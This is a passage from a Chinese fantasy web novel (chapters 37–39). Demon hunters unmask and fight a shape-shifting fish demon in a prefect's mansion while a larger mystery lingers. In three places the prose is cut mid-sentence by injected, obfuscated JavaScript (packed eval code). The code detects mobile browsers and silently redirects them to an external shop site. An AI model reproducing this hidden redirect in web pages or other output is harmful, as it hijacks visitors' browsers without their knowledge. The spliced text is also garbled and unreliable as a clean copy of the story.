另一个宋如遇站在内室门前,看见乌泱泱的一群人,她揉了揉眼睛,显然是不知道发生了什么,先是看到碧儿躺在地上,又看到一个身上沾血的“自己”,她彻底从睡梦中醒过来,眼里的倦怠彻底消散,取而代之的是迷惘和震骇。 “你是谁?!” “你又是谁?!”手上沾血的宋如遇看向谢惊春,激动地指认,“一看就是装的,我一直都和阿爹在一起,何时还能抽空去睡觉,惊春,她就是妖物,快指认她,我们就赢了一局了!” 宋括茫然的视线在两个女儿之间逡巡。 确实,是身边的女儿来说,说她看见了清鸾,他便随她来到西院,自始至终,从未分开。 想到这里,他几乎确信身边的宋如遇就是真的,便警惕万分地看着内室门前的人。 看起来刚睡醒的宋如遇就算再不明白现下境况,也知道自己急需自证身份,两个一模一样的人,自然有一个是假的,她冲上前辩驳:“阿爹,她才是假的,你怎么能将一个妖物护在身后!” 说得激动,她捂着心口咳了起来。 谢惊春暗中问系统:“有电波吗?能辨认出来是谁?” 【没有。】 如果身边拿剪刀的便是真的宋如遇,那她为何不直接与系统交流助大家赢下一局? 难道这个从内室出来的才是真的,所以并不知晓这一场赌局,只是想在众人证明自己,而不知其实让谢惊春一人知晓身份便可? 那说明从一开始来找宋括的就是假的,可既然鱼妖在佛室便已现身,为何那时别妄不响,符阵不动? 方才还焦躁不安,情不自禁地扑向谢惊春的宋如遇,这时却是冷静非常:“那请你这个冒牌货说一说,今天一天你都在做些什么?!” “我……我昨夜和惊春睡在一起,今天早上路公子说要来西院看看,只是半路上因事耽误了,没看成。” 说完,内室门前的宋如遇迫切地看向谢惊春,想要得到认可。 “确实如此,但是你们两个中必有一个是假的,只要我和路植晏指认出那个假的,冒牌货就会现身。” 这下谢惊春已将赌局说明,不会有人这不知道赌局的存在。 迟迟没有等来系统的提示,谢惊春又问了一遍,可得到的结果依然是【没有】。 怎么会?宋如遇没有想到这个?不太可能吧…… 还是说,她们两个,都在撒谎。 “因事耽误,因何事耽误?你不说出来,怕是根本不知。” 内室门前的宋如遇又看向谢惊春,似乎在纠结云娘约见之事能不能说。 沉默许久的宋括开口:“我有一个问题,你们二人谁答得上来,谁便是我的女儿。” 谢惊春有些担心凭一个问题会不会太过武断,可宋括却信誓旦旦:“谢姑娘放心,这个问题绝对只有我的女儿知道。” “阿爹你快说吧。”两个宋如遇同时说道,互相白了一眼。 在她们敛色屏气时,宋括冷然道:“立春的下一节气是什么?” 立春的下一节气自然是雨水。谢惊春清楚地记得小学课本「日积月累」上就有,因为很喜欢春天,所以对春天的四个节气更加印象深刻。 但宋括既然这样有信心,觉得一个问题就能辨出自己的真女儿,想必答案不会是雨水,其中定有其他门道。 时间慢慢过去,两个宋如遇都沉默着,没有作答。 “如遇,快说啊,你不是知道的吗?”宋括也没想到会是这样,不由得急了了,努力想给其中一个提示,可又怕另一个也看懂提示。 谢惊春身边的宋如遇率先道:“是大寒!因为我的生辰基本上在大寒左右,小时候每过完生辰到了立春,我想再过一次生辰,这样我就可以去外面玩,所以阿爹总是会安慰我说:再等等,立春之后就是大寒了。” 宋括眯了眯眼睛,没说对不对,转头看向另一个女儿。 她欲言又止,嘴唇嗫嚅着:“我,我……应该,应该就是雨水吧。” “看来你并不知晓。”宋括说。 站在谢惊春身边的宋如遇激动道:“所以阿爹,惊春,她就是假的!” “我说的是你,妖物!”宋括猛然侧头,目光狠厉无比。 “阿爹,你这是做什么?为何故 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223163|147540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意要认一个妖女而撇下自己的女儿!难道阿爹有什么秘密吗?!” 宋括并不恼怒:“他人启蒙是《三字经》,我教如遇的启蒙却是二十四节气,况且我安慰她说立春之后便是大寒,已是十几年前的事了,她如何记得?只有你这样的妖物才会觉得其中有诈,若真是我女儿,唯一能想到的答案也只会是雨水。” 空气凝固一阵后,忽而再次陷入黑暗,然而不过一瞬,周围又亮了起来。 白衣女子站在众人面前,气鼓鼓的:“我说,你们真没意思!” 路植晏一直在查看碧儿的致命伤,烛光一暗一明闪过,他终于冷不丁出声:“所以,是谁动的手?” 宋如遇裙子上干干净净,她自责地用手盖住脸:“我就不该将剪刀放在桌子上,要不然也不会让这个鱼妖有了可乘之机。” 谢惊春迷茫地快速眨眼,拿剪刀的就是鱼妖!不就说明引宋括离开小佛室的也是鱼妖,可当时为何一切都没有反应? 该不会鱼妖就是那个企图夺她身体的妖物吧…… 一旁的鱼妖恨不得一蹦三尺高,因为眼距过宽,眼睛圆且黑,看起来既有喜感又有诡异,她反驳道:“什么,我都说啦不是我!我最遵守游戏规定了!我说了只会在你们输一局时杀一个人,就不会提前杀人。” 路植晏没理一旁张牙舞爪的鱼妖,谛视着面前这个还没缓过劲来的女子:“宋小姐为何要在桌上放一把剪刀?” “因为我平时在西院没什么事干,就绣衣服打发时间,剪刀自然是为了裁布剪线,路公子难道是怀疑我什么吗?” 谢惊春问:“你们在屋内时,有没有谁的举止异常?” “举止异常?”宋如遇想了想,“好像没有,大家都很害怕,我当时脑中也基本空白,只有我爹还能说出几句话来,我连话都不敢说。” 宋括也说:“是啊,当时一看到这妖物,大家都乱作一团,要不然碧儿也不会遭此孽。” “都说了不是我!当年住在沧浪江时,我也只吃过三个人,三个而已!味道都不咋地。而且,在刺史府我就没伤过人!”鱼妖跺着脚,努力为自己辩解。 路植晏眸光倏地一沉:“你说什么?” 三个,在它眼中,似乎是一个很小的数字。 鱼妖赶紧捂住嘴,可它想起自己好像很厉害,又骄傲地昂起头:“是啊是啊。” 正在此刻,破空之声“咻”的传来,贴着符箓的荆轲箭从海棠花窗穿过,正要擦过谢惊春耳侧时,被路植晏猛地攫住,带着强大冲击力的箭身在手上震颤不停,直到箭身平稳,他指间一翻,将箭头收起,同时隐隐露出掌心摩擦出的血痕。 一道红色快影闪过,齐怀金从窗中翻进,胳膊几近伏地,红缨剑刮过腰间剑鞘时,冒出火星来,他两眼放光:“可算是出现了。” 他二话不说就提剑刺向鱼妖。 鱼妖冷笑:“好啊你们,竟敢暗算我!我能调九江四渎之水,让小小金陵成为水下城可不是什么难事,如今我只是想和你们玩上一玩,却不想伤人性命,你确定要对付我?” “路小兄弟,何必与它多费口舌,火速解决了它才是正事!” “呵,送死!”鱼妖口中尽是轻蔑之味,趾高气扬道,“壬癸神书,诏示九江,听我号令!” 一瞬间,大水如猛兽一般怒号着扑来,将门窗全部冲破,断木残叶席卷其中,根本来不及逃跑,几人顿时被淹没。 * 过了半柱香后,一切归于平静,主屋被冲塌,低矮的花草全部没于水底,多数树枝被折断。 “咳咳咳——”谢惊春从嘴里吐出一枚枯叶,从到腿肚深的水中里爬起来,衣摆和被冲散的头发如瀑布一样往下淌水。 她狠狠抹了把脸,拖着沉重的步伐,望着四周,搜寻着大家的身影:“有人吗?路植晏,如遇,齐前辈……” 可回应她的只有费力抬腿所引起的巨大水声。 谢惊春害怕一个人,便喊得更大声了:“路——” “我我我!还有我,我在这儿……” 不远处,赵无悲紧紧抱住自己的降龙弓,狼狈地走了过来,上气不接下气。 谢惊春扶着半截树木:“你怎么在这儿?” “师父让我在屋外待着,看准时机就射箭,我正要搭弓,这洪水就过来了,可遭殃了!哎,不知这妖是不是已经逃出府了,太过分了!” “难怪啊,那箭是你射的?”谢惊春拽了拽黏在身上的衣领,“那我们先找他们。” 赵无悲点点头。 “我就说趁早解决了它,要不然也不会让它跑了,咱这不会落到这个地步,所幸其他人都没事,要不然此番除妖,我等岂非赔了夫人又折兵!”齐怀金和路植晏从不远处走来,身后还有宋括几人。 听到齐怀金的抱怨,路植晏恍若未闻,一个人低着头不知道想着什么,一直没说话。 几人身上都湿透了,头发也凝在一起。 在抬头看见谢惊春和赵无悲的那一刻,路植晏眼下微拢,额前发丝上凝的水珠,顺着眉弓落在眼睫上,一眨眼,水珠在睫上散落开来,如同碎雪。 他冷峻道:“我说,她没走。” 37. 松鼠与金陵(十七) 赵无悲不解:“可她现在还留在这里做什么?” 难不成还要继续游戏? 谢惊春看着路植晏,面露惑色:“你如何知道?万一被她发现你用了外物,就要杀了所幻化的真人。况且如果她还坚持玩游戏,不应该和刚才一样,有两个一模一样的人吗?” “话虽如此,但只要真人没出现,而鱼妖藏在我们当中,岂不是难以察觉。” 谢惊春谨慎地把周围人都看了一遍,最后目光一定,忌惮地看着身边的赵无悲。 对啊,从荆轲箭出现到现在,赵无悲自始至终是未能出现在众人面前的。 “惊春姑娘,你这般看着我做什么?”赵无悲察觉到谢惊春怀疑的视线,一脸被冤枉的无辜模样,“你该不会是怀疑我吧?” 见谢惊春那恨不得将其看穿的模样,赵无悲发誓:“我绝不是什么鱼妖变的!实在不行,你们就用符阵验我!” 谢惊春提剑站开了几步:“用外物验你?赵无悲,你在误导我们?” 赵无悲才意识自己犯了错,嘴巴像被针线缝起来了一样,挣扎半天,也只能说出一句:“我刚刚只是没想起来,可我真的不是鱼妖,该怎样你们才能相信我?” 齐怀金断定:“我的徒弟我最清楚,他不会有假。” 气氛一下陷入焦灼。 宋括道:“不若齐司使和我一样,问一个只有赵小兄弟知道的问题,便能辨出其中真假了。” 宋如遇倒是没插话,脸上青一阵白一阵的。 谢惊春突然觉得自己的包动了动,她低头看了看,发现是路植晏拽住她腕处丝带。 在她不明所以的眼神中,路植晏不问缘由地一把将丝带扯下。 “你干什么?”谢惊春愣怔住,这系带方法是她自创的,除非细致研究过,一般人根本不可能准确找到那根线,从而轻轻一扯便能扯下。 他将红色丝带缠绕在自己腕处,成功复刻了谢惊春的方法。 赵无悲在一旁看得云里雾里,都什么时候了,路兄还想着玩呢?! 路植晏伸出手,轻风一吹,丝带便在五指间穿梭,像个灵活的小蛇,他眉梢一动,昂了昂下巴:“你试试?” 谢惊春暗嗤一声有病,都没细究,直接抓住最短的一根,自信一拽,可她一拽非但没能解开,还多拉了一个死结。 她愕然,可偏不信邪,又扯了一根,便再次多了个死结,一顿下来,好似在路植晏腕处编了个辫子。 看着路植晏满脸预料到的表情,谢惊春目光逐渐冷了下去,方才倔强已然消散,似笑非笑道:“你换了缠法?路植晏,你好像一直尝试掌握主动权,我看,你才是假的!” 谢惊春眉毛一横,笃定地说完,就急步跑开。 众人已然一脸懵,知晓不能凭借谢惊春轻飘飘的一句话,就真的将路植晏当做“赝品”,可还是禁不住向他投来审视和怀疑的目光。 哪知路植晏满脸泰然,啧啧摇头:“贼喊抓贼,你装的可真不像她。” 下一刻,谢惊春便发现自己的双脚像是被人死死抓住,寸步难移,她扭动着身子又急又怒:“路植晏,你不去怀疑赵无悲,反对我用了禁一?而且,你什么时候会禁一阵?” 宋如遇急道:“路公子,这是做何?” 路植晏没看她,而是对着谢惊春,几乎是一字一句道:“你就是妖物。” 听得这话,众人都啊了一声:“这,这是……” “谢惊春”挣扎了一会,眉头突然一松,眼底却溢出叠叠不甘:“你怎么认出来的?没有理由我是不认的。若是用了外物,我是要杀的。” 鱼妖并没有及时换回原本的模样,还顶着谢惊春的脸在说话,一张总是懵懵懂懂的脸上此刻却带着戾气与杀意,总觉得十分怪异,路植晏皱了一下眉头:“你先变回去再说。” “你封了我的法力,我怎么变啊?” “低阶禁一,此等小术,应当难不到你。” “那倒是。”鱼妖倨傲地哼了一声,摸了摸脸,转而就变成白衣模样,“现在说你是怎么发现的吧,记住,如果理由不能说服我,我会杀了谢惊春。” 对于这个问题,路植晏都想笑,送分题都不带这么送分的。 一来,大水打过来时,他就立马感知了谢惊春的位置;二来,鱼妖包里没有松鼠,她只能幻化出某人表面的打扮穿着,没有见过的东西却是变不出的。 可惜,第一种最直接的方法他不能说,第二种嘛,当然也不能说,齐怀金在场,没必要引起麻烦。 路植晏便用这「谢惊春式打结」诱她,果然一举成功。 “她一般缠七圈则止,逢二,四则会多拉出半圈,隐在下方,那并不算一圈,可你似乎把二四多出的半圈也当做一圈,所以你缠了九圈。” 路植晏将丝带握在手心,再伸手时,那些死结便伴随着火符化作灰烬,他又补了一句:“哦对了,你似乎更乐意扮女子。” 鱼妖一哂:“没想到,你一个大男人,还如此心细如发。” 说实话,路植晏自己都不知何时记住这些细枝末节的,肯定是谢惊春老是在他面前晃悠,想不注意到都难。 “那敢问,惊天大秘密是何事?” 其实没人真的在意一个妖怪能说出什么惊天大秘密,但当路植晏问出这句话时,周围人都仔细听着,倒要听听这鱼妖能说出什么荒唐话。 鱼妖伸出食指,做噤声状,目光在所有人身上绕一圈,像是在故弄玄虚:“你们当中,至少有一个不是人。” 说完,她似觉得自己说了一个非常好笑且讽刺的笑话,捂着肚子笑得停不下来:“哈哈哈哈哈,是不是有不有趣?是不是惊天大秘密?!” 齐怀金方才还在认认真真听她说话,甚至思考起她所说的秘密,看她疯癫的样子,顿时觉得非常耻辱,勃然作色:“你这妖孽少惑乱人心!” 他一拍身边的赵无悲:“还不快把宋大人他们送走!” 接着,他打出一张符,提剑一指,火球变火浪。 鱼妖丝毫不慌,甚至还玩起了自己的头发:“切,你,你,你们两个都是臭男人,真自以为是啊。” 隔着层层火浪,她的水袖竟能毫发无伤地穿过,袖里如有乾坤,带起惊涛骇浪,正往路植晏面门打来。 游龙即刻出鞘,在横溢的漫河中劈出一道火墙,直冲向鱼妖。 “这剑好生有趣,借我看看。” 鱼妖身姿一扭,白影化为纽绞的水柱,身形消失。 密密的潜行声在两人脚边萦绕,如同百蛇从四面八方扭爬过来。 齐怀金的眼睛不停地左右转:“它去哪儿了?” “就在附近,小心。” 路植晏蹲下身轻点水面,敲出一圈碗口大的涟漪,指尖水滴落在浅洼中,发出微小的“滴答”声。 齐怀金忽而惊呼一声,冲了过来:“后!” 路植晏右手迅速绕至背后,挡住鱼妖的轰然一击,他五指一转,剑柄在身后打了个旋,又被左手接过。瞬息之间便转身横剑,捻了个响指,长吟应声急出,刮擦过游龙剑身,雷光顿时缠绕火光。 双剑发出细碎的爆裂声,将欲攀上来的水袖烧了起来,激出一卷热浪。 “啊啊啊啊——这是我最喜欢的衣服!!!你滚,你给我滚!!!” 鱼妖彻底没了调笑的兴致,她气得大叫,声音也不再像个娇俏的少女,而更像地狱小鬼的嘶嚎,能将人身上的鸡皮疙瘩一层一层的嚎起来。 她一直盯着路植晏手上的剑,圆圆的黑眼中尽是冲天的恨意。 “你们就这么想金陵成为水下城?!哼,看来也不是什么好人!” 齐怀金讥诮地拆穿:“你说你能调九江四渎之水,也只是谎言而已。方才那场大水已然消了你不少精力,你已经调不出水了,不是吗?” “才不是!”鱼妖想反驳,却已经失了底气。 面对轻视,它气得上下牙齿都在打战,咯嘣一下竟真的咬掉了一个牙齿。 捧着尖锐的小牙,它瞪大着眼睛,长长的头发像是快根根立起来,发出要刺穿人耳的崩溃叫声:“啊!啊啊啊啊——死胖子!我要你死!你们都给我死!!” “路小兄弟,你别出手。”齐怀金双指一抬,红缨剑旋转如钻,他也快步飞身,一脚蹬向废墟借力,魁梧的身躯落下,宽大粗砺的手掌一把抓住鱼妖的脖子,顺势将其重重地压在水里,溅起无数水浪。 看着红缨剑从高空如星芒下落,正要朝着自己而来,鱼妖冷哼一声:“我想起你来了!四日前的夜里你来过西院,当时你好像看见了什么,说了一句‘你这妖孽,还她的命来!’这样的话,是吧。” “千百年来,妖物不知杀我世人多少,这些人的命本该被还回来!” 说完,齐怀金甩甩头,整个人如堕烟雾,朝着和鱼妖完全相反的方向出剑,剑意也没了灵气,绵绵无力,仿若小孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14244898|147540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子过家家,被鱼妖一指弹走。 路植晏看着再次犯病的齐怀金,不再遵守诺言,直接出手。 “齐怀金!” 齐怀金此时犯的头疼病似乎比上次还要严重,他甚至将头插进水里,试图缓解那种锥心刺骨,无法纾解的巨大痛楚。 “滚——”齐怀金捶着脑袋,怒吼着。 将宋括等人送到前院之后,赵无悲便匆匆赶来,不想却看到师父这般发狂的模样,不由得有些呆了。 直到路植晏的一喝将他惊醒:“赵无悲,带你师父走!” 赵无悲不管三七二十一,动作麻利地背上几斤晕厥的师父,有些忧心地回头看了眼路植晏:“路兄,你小心!” 鱼妖正想趁人之危:“一个也不许走!” “是啊,你得留下。”雷火双剑飞来,路植晏随之而来。 “你想得美!” 路植晏手中双剑横扫,扫出两冲异光剑气,鱼妖虽已躲得及时,却还是被伤得连连后退,险些因水的阻力而跌倒。 它不敢相信自己屡屡受挫,一边气势汹汹地飞过来,一边龇牙咧嘴地嘴硬道:“你不要得意!” 而在此时,路植晏瞳孔滑至眼角,瞥向身后。 谢惊春正在以很快的速度赶过来。 一,二,三。 噌! 金樽落地,彩缨扬起又落下,一道缚妖阵旋即震开,阔出巨大圆圈又在顷刻间回缩,金光上冲,将鱼妖缩在方寸之地。 谢惊春随之落在一片废墟之上,她双指并拢:“收!” 金樽回旋,回到她手上。 “我早知道你二人是当阳的,却不想你的缚妖阵,学得这般烂!”鱼妖一挥手,像是拂去灰尘般轻巧,一下就将缚妖阵散去。 本来就因为变成谢惊春的模样才会那么容易识破,鱼妖对这个不知道从哪个犄角旮旯里冒出的真身非常反感,特别是接了一个小孩子过家家似的缚妖阵,更觉得她怎么看怎么讨人厌。 哼,本来想让那个满脸胡子的死胖子排第二的,现在必须要把这个什么谢惊春安排上,一旦把拿两把破剑的捉妖师杀了,就立刻杀了她。 当然,一起宰更爽!等等,不不不,不能鲁莽,刚才可吃栽了,这个谢惊春看着没什么威胁,不若把她从必杀榜第二拎到第一。 鱼妖越想面上越狠厉,还露出几分必成的得意。 而此刻的谢惊春呆若木鸡:本想着趁机升级,没想到我还是这么弱鸡!帅不过三秒,那我还是退退吧。 鱼妖在空中化为一泓清泉,瞬至谢惊春耳边:“第一名,安好否?” 谢惊春的右手一直藏在身后,她瞅准时机,直接贴了个定身符:“我为何是第一名?” “因为你最好杀。” 符纸还没来得及发挥作用,就被浸湿,鱼妖笑得恣谑,又意识到自己说话时嘴巴漏风,目光一狠,吐出一个小小的泡泡。 谢惊春下腰后又翻了个筋斗,劈斩水浪:“你刚才不会变成我了吧?” “哼,你还敢提这事!”鱼妖一瞥瞥到了她手上的红丝带。 细瞧之下发现,她果然在手腕下面多拉了两个半圈。 只见谢惊春单指推了推剑格,剑柄直接穿过两个半圈中,和手绑在一起。 “我若克化了你们的法力,不知妖力会涨多少?” “捉妖师法力至纯至阳,专克你们这种为非作歹,行祸世间的妖邪。克化我等法力,在水里待久了,将脑子泡成……”路植晏吹了一下飘到自己面前的水泡,“糟卤鱼了?” “我知道你们人有一招叫做激将法,好让我自己溃乱,你们乘虚而入。”鱼妖尽量压着自己的呼吸,但面上狠意难藏,“哼!休想!” 它身上,脸上鱼鳞层层掀了起来,那密集程度,连带看的人身上的鸡皮疙瘩都粒粒暴起。 它再度没了踪影。 “谢惊春,退。”路植晏几乎是闪滑至谢惊春身前,可没等他出手,谢惊春已经抬剑,鱼妖掌力深厚,掌心的鳞片仿佛能吸食金樽材质,变成削铁如泥的精钢,几乎要与金樽融为一体。 “什么鬼东西?”谢惊春想拿回抽回金樽,然而金樽怎么都动不了。 鱼妖掌上鳞片如无数刀尖竖起,眼看着就要顺着金樽同化谢惊春,路植晏拉下她腕上红丝绳,带着她后撤。 面对妖物却没了金樽,谢惊春就觉得像是考试没带笔,慌得脸都白了:“啊,我的剑!” 38. 松鼠与金陵(十八) 路植晏提着长吟,反手将游龙扔给谢惊春:“拿着。” 谢惊春刚想说使不惯,却发现游龙拎在手里的感觉很像金樽,甚至连柄处花纹和温热的触感都大差不差。 “哈哈哈哈哈,你们还从未见过这招,我告诉你,我的本事可还大着呢!” 鱼妖似乎不先把谢惊春杀死不罢休,将将夺了她的剑,现下又朝她而来。 “别跑啊,我刚刚不是烧了你的袖子吗?怎么,不生气了,你可真是条好脾气的糟卤鱼。”路植晏一脚飞踢,将鱼妖踹开,截了它的去路。 长吟没入水中,雷电如鞭从水中极速穿行,鱼妖连连后退,索性化水急速撤空。 水形在空中来去无影,不停围着他们两个转,完全猜不到它最后会落在哪里,谢惊春的目光来回穿梭。 可就在它落地化人的那一刹那,路植晏瞬至它身边,衣摆掀起水花,蓝白电光顿时滋滋炸开,金樽也迸发如雪精光,刺得人眼睛生疼。 谢惊春收紧呼吸,握紧游龙,上面火光骤起,但由于修行不够,剑锋上跑起的仅仅是羸弱火苗,仿若随时会熄灭。 趁着鱼妖对付路植晏的间隙,谢惊春极快地绕到它身后,挽了个剑花,一个仰身滑铲,咬牙避开长吟和金樽的锋芒,朝着它藏着水下的脚砍去,为防不测,她还打出全身仅存的一张火符。 鱼尾没有鳞片,它的脚不过就是血肉之躯,不提防被谢惊春击中,本就不澄澈的水中漫起血红来。 谢惊春甩了甩右手,这游龙她果然还是用不惯,若是换做金樽,方才突袭她说不定能给鱼妖造成更大的伤害。 “你们暗算我!” 一顿打下来,鱼妖身上已是伤痕累累,它的白色衣摆逐渐铺开延伸,漆黑如绸缎的头发也开始疯长,周身戾气冲天,身下浊水如沸,翻腾着,卷涌着,明明只是水面在荡漾不停,却让人有种天翻地覆的错觉,连站都站不稳。 “都给我死!”它将所有的妖力都汇聚于右手,闪电般弹射而来。 一直握在自己手中的命剑却被妖物握在手里,反过来攻击自己,谢惊春不由喝了一声:“金樽,你敢听它的话!还不速归?!” 游龙对上金樽的那一刹那,游龙连那一丝火苗都没了,甚至连最基本的剑光都没了,整个就像蔫了一样,无论谢惊春用的什么招式,它沉寂得宛若未曾开刃,此时的它应是连把杀猪刀都不如。 嗯? 这突如其来的情况让谢惊春被震得连连后退,看着鱼妖反攻过来,她顺手将游龙插入背上鞘,空出手来专心……逃跑。 她边跑边喊:“路植晏,你先打着吧,你这游龙突然发神经用不了,我身上没符,状态不佳,就不拖累你了。放心,我这就去摇人!加油!” 鱼妖怒气值降低不少,乐得连连娇笑,嵌在掌心的金樽拖过水面,拉起一条长痕:“我说过我本事很大啊!” 它刚说完就觉得有些不对劲,手中金樽开始开始疯狂颤抖,发出嗡嗡嗡的刺耳剑鸣。 短暂的剑鸣后是短暂的沉寂。 谢惊春一个急刹,诧异地回过头。 鱼妖还没来得及脱手,整个身子突然就被霍然弹开,剑面上残留的那些刀尖般的鱼鳞也如漫天撒花般腾空又落下。 而脱离桎梏的金樽旋即想要归鞘,却发现自己的房子被别剑住着,像赌气一般也不愿回到谢惊春手里,直接身子一摆,掉入水中。 谢惊春一扑扑了个空。 “这剑……里面不是铁锻的?”鱼妖狼狈地躺在水中,嘴角都是鲜血,她立马知道不妙,想要赶紧遁身。 路植晏飞剑过去,插入它的左臂。 他将掉落的金樽从水中捞起,扔给谢惊春,头也不回,就朝着背后人伸手:“游龙还我。” “哦哦对,但是你这游龙不知道怎么了,我也不懂,你仔细看看。”谢惊春准备从背上拿出游龙,可一次抽剑居然没抽出来。 “哎?” 她双手都用上了,纹丝不动。解下腰间绑剑的革带,拿到面前来拔还是纹丝不动。 她慌了,害怕地看着路植晏的背影:完蛋,不会毁了他的一把剑吧!这可是他从小用到大的! 路植晏手伸了半天也没个回应,等得有些不耐烦,想直接通过凝思召剑,却也召不回来。 他回过头,看到游龙只是带着金樽的鞘摇了摇,在谢惊春手里抖了抖,就没了动静。 而谢惊春拔得龇牙咧嘴,五官乱飞,蹬着树干借力也是于事无补。 许久对上路植晏的眼神,她咽咽口水,悄然将剑藏到身后,目光无措。 路植晏望着她的肩膀,又看看她手中的金樽,拧眉道:“啧,你把……” 谢惊春赶紧打断施法,指着鱼妖:“那什么!要不等会再说,先……先对付它,有什么问题赶紧问,别让它跑了。” 路植晏盯了她一会,终是无奈回身,居高临下地望着鱼妖,并不急着出手:“我现在问你,你说你在沧浪江住了三百年,那你是什么时候出现在刺史府的?” 为何先前别妄没响,符阵没动。 “我为何要告诉你?” “你每回答一个问题,我们就陪你玩个游戏,你也不用死。” 其实从它说它在沧浪江杀了三个人起,毋庸置疑,在路植晏心中,此妖必死。 只是从它口中说出关于齐怀金的话,想必从他们入刺史府之前,它就已经在西院池塘呆了很久了,口中定有什么有价值的听闻。 鱼妖想了很久,路植晏就这么静静等着。 大约僵持了一炷香,鱼妖嘴巴终于闲不住,淡然道:“十几年前吧,我觉得沧浪江的生活太过无趣,所以有人将我捞上岸,我也没再杀了他们,而是任由这些人将我倒腾来倒腾去,最后来到了刺史府,却被这里的风水局困住,迟迟出不来。” “那你很熟悉宋如遇?” “宋如遇,当然认得。她嘛,从小身体不好,好像是从她娘身上传的,一天天就只能待在西院。”鱼妖顿了顿,面上逐渐露出迷惑之色,“但是怎么说,她好像……变了。” 宋如遇在西院孤独难解,身边也只有一个镜儿是可以稍微透点心的,大多数时候,她都会趁四周没人,对着池塘中的鱼儿自说自话。 “变了?何谓变了?” “不清楚,她会说些我听不懂的话。” 路植晏饶有兴味:“比如?” “比如,比如系统,医院,胃癌,问心石洞,代号205等等这些。” “代号205?你确定如遇说过这样的话?”一旁还在试图拔剑的谢惊春突然提神。 奇怪,代号205不是她的系统名吗,宋如遇怎么会知道?难道说系统名是可以共用的…… 而且,问心石洞也好熟悉,好像在《大少爷的奇妙手札》里出现过吧。 “应该是吧,反正我也听不懂,听错了也未可知。”鱼妖奇怪地看着谢惊春,“话说,你怎么这么激动?” “没听过这个词儿,问一下怎么了?” 路植晏从谢惊春身上收回探究的视线:“我再问你,你可有看见猫妖吃了张正?” “猫妖?你不会是小黑吧?这家伙总是喜欢叼池塘的鱼吃,叼走了我好几个玩伴,它就是个畜生,才不是像我这样高贵的妖呢!” “你是说,那个小黑不是妖?”看鱼妖那一副真诚模样,路植晏继续问,“那张正呢?就是四日前夜去西院的那个。” “哦哦哦——那个老头啊,最近好像是来西院了,但你确定是四日前吗?我怎么觉得要早一天?像是夫人出殡的前一天晚上去的西院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宋如遇朝着宋括瘪瘪嘴:“害……我阿爹不让我去,他总将我身体不好,只有西院的风水养着才好这样的话挂在嘴上,阿娘去世,我也不能再忤逆他啊。” 宋括叹口气:“哎,爹也是为你好。对了,路指挥使问这做什么?” 路植晏一笑:“没什么?只是觉得夫人的尸体失踪,若是当时有人在场或者隔得不远,察觉到什么异常就好了,这样寻找起来也会有点蛛丝马迹。” “原是如此。”宋括遗憾道,“我不能接受夫人下葬,当时也只是待在小佛室逃避不出,让下人看着,没想到……” “可以和我玩游戏了吗?”鱼妖等得焦躁,忍不住问道。 一看到鱼妖,宋括切齿愤盈:“妖物,你先是于沧浪江吃了三人,又杀害碧儿,罪无可恕!难不成我儿宋揭,也是毁于你手?” “我很珍惜这次能出来玩游戏的机会,所以我很遵守游戏规则,碧儿才不是我杀……”一个“的”字还没说完,它尖嘶一声,化为一尾状若初生的小白鱼,浑身是斑斑点点的血迹,扑腾几下,终究是没了动静。 齐怀金大刀阔斧地走进来,圆阔的脸上虽然还残存着些病气,但相比于方才,已是好了不少。 他一抬手,将红缨剑收起:“路小兄弟,你们果然喜欢拖拖拉拉,妖物逮住一剑捅死,不就好了。” 路植晏闭着眼深吸一口气,转身猛然拽起齐怀金的衣领:“齐怀金!你肆意杀了证物,意欲何为?!” “我听见了,它说碧儿不是它杀的,你就信?妖物不害人……”齐怀金舌头抵着腮帮子,先是满脸不在乎,而后眼中逐渐变得凶悍,“天诛,地灭。” 对峙良久,路植晏一把推开齐怀金:“谁找你来的?” 宋如遇似乎被路植晏刚才的样子吓到了,怯生生地举手:“我……我当时想着妖物是不是该让齐司使带到捉妖司去审,毕竟那里有好多捉妖师,戒备层层,想来不会让它再跑了。” “宋小姐,真爱多管闲事。” 39. 松鼠与金陵(十九) 鱼妖已败,刺史府上下松了一口气,都道今后终于可以好好生活了。 可只有谢惊春,路植晏和齐怀金知道,根本没结束,这个鱼妖分明只是个插曲,只有那个游龙和金樽同时出动都未伤其分毫的黑影,恐怕才是真正可怕的东西。 这妖到底是走了,还是它早已附了某人的身。 那它是有蔽气珠还是有藏妖木?要不然不可能藏得这般深。 路植晏抱手靠在椅子上,所有人说的话在脑海中如走马灯一样穿梭而过。 天沉沉欲坠,夏日燥热氛围已然随着几场雨涌了出来,一抹倩影从身后悄然而至,路植晏眼皮微动,面色并无变化。 不是谢惊春。 所以在对方马上就要进入自己的三尺禁域时,他突然一个手刀劈回,掌风刚劲冷厉。 “路公子路公子!是我。”宋如遇闭着眼,满脸惊恐,紧紧拽着衣裙。 “宋小姐?”手堪堪停在宋如遇的脖颈前一寸,路植晏曲了曲手指,立马撤步拉开距离。 说实话,他很烦这个宋小姐,比当初的谢大小姐还要烦。 宋如遇生怕路植晏还在生自己的气:“今天我不是故意叫来齐司使的。” 